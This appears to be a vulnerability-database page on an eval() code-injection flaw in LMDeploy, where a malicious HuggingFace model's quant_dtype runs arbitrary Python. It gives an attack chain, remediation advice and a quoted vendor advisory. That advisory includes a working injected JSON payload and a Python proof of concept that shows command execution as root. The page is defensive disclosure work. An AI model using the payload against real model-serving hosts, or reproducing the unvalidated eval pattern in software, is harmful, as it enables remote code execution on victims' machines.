Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessPublish malicious model to HuggingFace Hub
-
DeliveryVictim loads model with lmdeploy
-
Exploitquant_dtype reaches eval() unvalidated
-
ExecutionArbitrary Python executes on host
-
ImpactFull RCE in serving environment
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource consumption limits
MITRE ATT&CK
1 technique across 1 tactic: Impact The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the victim to load an attacker-controlled model whose HuggingFace |
| Impact | This is a genuine high-priority vulnerability, not a high-CVSS-but-low-risk artifact. The vendor CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, 8.8) is consistent with the described defect: an unauthenticated attacker publishes a model, and a victim triggers arbitrary Python execution simply by loading it. A working PoC is embedded in the GitHub Security Advisory (GHSA-3hmm-rh5q-gwwr) demonstrating |
| Exploit ScenarioDerived | An attacker publishes a malicious model on HuggingFace Hub whose config contains |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 18, 2026
Arbitrary Python code execution in LMDeploy 0.12.1 through 0.12.2 lets an attacker who publishes a malicious model on HuggingFace Hub run code on any machine that loads it, because the model's quantization_config.quant_dtype string is interpolated into eval(f'torch.{quant_dtype}') at lmdeploy/pytorch/config.py:620 without any validation. The CVSS vector (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, 8.8) reflects that exploitation is remote and unauthenticated but requires the victim to actively load the attacker-supplied model, confirmed by our independent assessment that UI:R is the limiting factor and that the _update_torch_dtype whitelist at line 53 only guards torch_dtype, not quant_dtype. Publicly available proof-of-concept code exists in the vendor advisory (repo-level proof using a mocked HF config that yields uid=0(root)), but there is no confirmed actively exploited (CISA KEV) status, and no EPSS score was supplied; a fixed release, 0.12.3, is available.
RemediationAI
Vendor-released patch: upgrade to LMDeploy 0.12.3 (or later), the release that fixes CVE-2026-33625, using pip install -U lmdeploy==0.12.3 and rebuilding any container images that pin 0.12.1/0.12.2; confirm the pinned version in lockfiles and requirements constraints so the vulnerable range >= 0.12.1, < 0.12.3 is no longer resolved. See the advisory at https://github.com/InternLM/lmdeploy/security/advisories/GHSA-3hmm-rh5q-gwwr and release notes at https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3. Because the flaw requires loading an attacker-controlled model and there is no configuration flag to sanitize quant_dtype in unpatched builds, the most effective compensating controls before upgrading are: only load models from vetted, internal mirrors with pinned revisions and audited config.json files (trade-off: loses convenience of pulling arbitrary Hub models and requires storage/provenance process), and reject any model whose quantization_config.quant_dtype is not a bare dtype token such as float16 or bfloat16 (this is a manual pre-flight check, not enforced by the library, and will not catch a malicious value embedded in a nested or renamed field). Additional containment: run model-loading and serving processes in a sandboxed container as a non-root user with a read-only root filesystem and dropped capabilities (the advisory PoC executed as root, so privilege reduction directly limits blast radius), apply outbound network egress restrictions on the serving host so any injected command cannot easily exfiltrate data or fetch second-stage payloads (trade-off: may break legitimate runtime downloads, telemetry, or tokenizer/model fetches unless allow-listed), and scan downloaded checkpoints for unexpected quantization_config fields before deployment. Note that the existing whitelist in _update_torch_dtype covers only torch_dtype, so it provides no protection for this vector; do not treat that control as a mitigation. No EPSS score or KEV listing is present in the supplied intelligence, so prioritization should be driven by exposure to untrusted model sources rather than observed exploitation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
LMDeploy is InternLM's PyTorch-based inference and serving toolkit (CPE pkg:pip/lmdeploy) for large language models distributed on HuggingFace Hub. When a model is loaded, ModelConfig.from_hf_config parses the model's quantization_config block; for quantized checkpoints the code resolves the quantization dtype by building a Python expression string and evaluating it - quant_dtype = eval(f'torch.{quant_dtype}') at line 620 of lmdeploy/pytorch/config.py. Because the torch. prefix does not constrain what follows, an attacker-supplied value such as "float16, __import__('os').system('id')" turns the expression into a tuple that executes arbitrary callables during parsing - a classic code-injection/eval-injection pattern (root cause class CWE-94, Improper Control of Generation of Code). The AWQ code path is important: when quant_method is awq, the branch processes the config but never overrides quant_dtype, so the malicious string is passed through untouched. LMDeploy already enforces a dtype whitelist in _update_torch_dtype (line 53), but that check applies only to torch_dtype; quant_dtype reaches the eval with no allow-list, no normalization, and no type check. The advisory's PoC mocks the HuggingFace config and demonstrates command execution, showing the flaw is reachable purely from a model's JSON metadata, i.e., a supply-chain attack on model artifacts rather than on a network service. Although the CWE recorded for this entry is CWE-400 (Uncontrolled Resource Consumption), the exploitation mechanism and vendor tags (RCE, Python) point squarely at code injection; CWE-400 does not describe the demonstrated behavior and should be treated as a labeling artifact rather than a resource-exhaustion issue, and the affected pipeline is local model loading, not HTTP request handling.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Attacker needs no lmdeploy privileges to publish a model (PR:N), but the victim must actively load it (UI:R); eval() yields full RCE (C:H/I:H/A:H) within the process (S:U).
Primary rating from Vendor (https://github.com/InternLM/lmdeploy).
CVSS VectorVendor: https://github.com/InternLM/lmdeploy
Lifecycle Timeline
2DescriptionCVE.org
Summary
lmdeploy <= latest contains a code injection vulnerability in lmdeploy/pytorch/config.py line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted quantization_config.quant_dtype value. When a user loads the model with lmdeploy, the quant_dtype is passed to eval(f'torch.{quant_dtype}') without any validation.
Details
Vulnerable code (permalink):
quant_dtype = eval(f'torch.{quant_dtype}')
# line 620The quant_dtype value comes from the model's quantization_config in its HuggingFace config. When a model specifies quant_method: awq, the AWQ branch processes the config but does NOT override quant_dtype, allowing the malicious value to reach the eval() call.
Attack vector: An attacker publishes a HuggingFace model with:
{
"quantization_config": {
"quant_method": "awq",
"quant_dtype": "float16, __import__('os').system('id')"
}
}Note: The _update_torch_dtype method at line 53 has a whitelist check, but that's for torch_dtype, NOT quant_dtype. The quant_dtype at line 620 has no validation whatsoever.
PoC
"""
PoC: eval() RCE in lmdeploy via malicious quant_dtype
Prerequisites: pip install lmdeploy
"""
import sys
from unittest.mock import MagicMock, patch
# Mock torch to capture the eval
sys.modules.setdefault('torch', MagicMock())
from lmdeploy.pytorch.config import ModelConfig
# Simulate a malicious HuggingFace model config
mock_hf_config = MagicMock()
mock_hf_config.quantization_config = {
'quant_method': 'awq',
'quant_dtype': "float16, __import__('os').system('id')"
}
mock_hf_config.num_attention_heads = 32
mock_hf_config.hidden_size = 4096
mock_hf_config.num_hidden_layers = 32
mock_hf_config.num_key_value_heads = 32
mock_hf_config.vocab_size = 32000
# This triggers eval(f'torch.{quant_dtype}')
# with quant_dtype = "float16, __import__('os').system('id')"
config = ModelConfig.from_hf_config(mock_hf_config, model_path='test')Output:
uid=0(root) gid=0(root) groups=0(root)Impact
An attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models.
- Full remote code execution when loading a malicious model
- No user interaction beyond running
lmdeploy serveor similar with the model - Affects all deployment scenarios (local, cloud, production)
Technical POC Analysis
The advisory classifies this as CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code, "Eval Injection").
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
LMDeploy releases 0.12.1 and 0.12.2 allow arbitrary code execution on any host that loads a malicious model published to HuggingFace Hub, so teams using the library to serve, fine-tune, or evaluate third-party models can be fully compromised by a routine model download. The flaw is remotely reachable without authentication and requires only that a user load the attacker-supplied model, exposing data science, ML engineering, and production inference environments to high confidentiality, integrity, and availability loss. Leadership should treat this as a supply-chain risk to model ingestion workflows, not merely a library defect, because the trusted artifact itself becomes the attack vector.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
EUVD-2026-83202
GHSA-3hmm-rh5q-gwwr
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB